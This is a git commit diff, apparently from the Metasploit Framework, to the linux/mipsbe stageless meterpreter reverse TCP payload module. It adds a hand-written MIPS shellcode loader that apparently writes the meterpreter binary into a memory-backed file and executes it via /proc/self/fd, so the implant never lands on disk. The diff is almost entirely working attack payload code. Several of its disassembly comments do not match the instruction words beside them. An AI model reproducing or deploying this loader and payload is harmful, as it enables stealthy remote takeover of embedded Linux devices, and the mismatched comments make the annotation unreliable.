Skip to content

Commit 128ac84

Browse files
committed
feat(payload): linux/mips in_memory_loader for stageless meterpreter
1 parent be7ea24 commit 128ac84

File tree

1 file changed

+58
-1
lines changed

1 file changed

+58
-1
lines changed

modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb

Lines changed: 58 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,63 @@ def generate(_opts = {})
3838
scheme: 'tcp',
3939
stageless: true
4040
}.merge(mettle_logging_config)
41-
MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec
41+
payload = MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec
42+
43+
size = payload.length
44+
size_h = size >> 16
45+
size_l = size & 0x0000ffff
46+
47+
in_memory_loader = [
48+
0x00001025, # move v0,zero
49+
0x04510000, # bgezal v0,4100f8 <myself>
50+
0x27ff005c, # addiu ra,ra,92
51+
0xafa0fffc, # sw zero,-4(sp)
52+
0x27bdfffc, # addiu sp,sp,-4
53+
0x03a02020, # add a0,sp,zero
54+
0x2419fffe, # li t9,-2
55+
0x03202827, # nor a1,t9,zero
56+
0x34021102, # li v0,0x1102
57+
0x0101010c, # syscall 0x40404
58+
0x03e02825, # move a1,ra
59+
(0x3c06 << 16 | size_h), # lui a2,0x17
60+
(0x34c6 << 16 | size_l), # ori a2,a2,0x2fb8
61+
0x00402025, # move a0,v0
62+
0x0080c825, # move t9,a0
63+
0x34020fa4, # li v0,0xfa4
64+
0x0101010c, # syscall 0x40404
65+
0x27e7fffe, # addiu a3,ra,-2
66+
0x240e000a, # li t6,10
67+
0x24050016, # li a1,22
68+
0x13200011, # beqz t9,410188 <execve>
69+
0x00000000, # bnez t6,410150 <itoa+0x10>
70+
0x032e001a, # div zero,t9,t6
71+
0x00000000, # break 0x7
72+
0x2401ffff, # li at,-1
73+
0x15c10004, # bne t6,at,410168 <itoa+0x28>
74+
0x3c018000, # lui at,0x8000
75+
0x17210002, # bne t9,at,410168 <itoa+0x28>
76+
0x00000000, # nop
77+
0x00000000, # break 0x6
78+
0x0000c812, # mflo t9
79+
0x0000c812, # mflo t9
80+
0x00005810, # mfhi t3
81+
0x256b0030, # addiu t3,t3,48
82+
0xa0eb0000, # sb t3,0(a3)
83+
0x24a5ffff, # addiu a1,a1,-1
84+
0x24e7ffff, # addiu a3,a3,-1
85+
0x1000ffee, # b 410140 <itoa>
86+
0x00e52022, # sub a0,a3,a1
87+
0x2805ffff, # slti a1,zero,-1
88+
0x2806ffff, # slti a2,zero,-1
89+
0x34020fab, # li v0,0xfab
90+
0x0101010c, # syscall 0x40404
91+
0x2f70726f, # sltiu s0,k1,29295
92+
0x632f7365, # .word 0x632f7365
93+
0x6c662f66, # .word 0x6c662f66
94+
0x642f2f2f, # .word 0x642f2f2f
95+
0x2f2f2f2f, # sltiu t7,t9,12079
96+
0x2f2f2f00, # sltiu t7,t9,12032
97+
].pack('N*')
98+
in_memory_loader + payload
4299
end
43100
end

0 commit comments

Comments
 (0)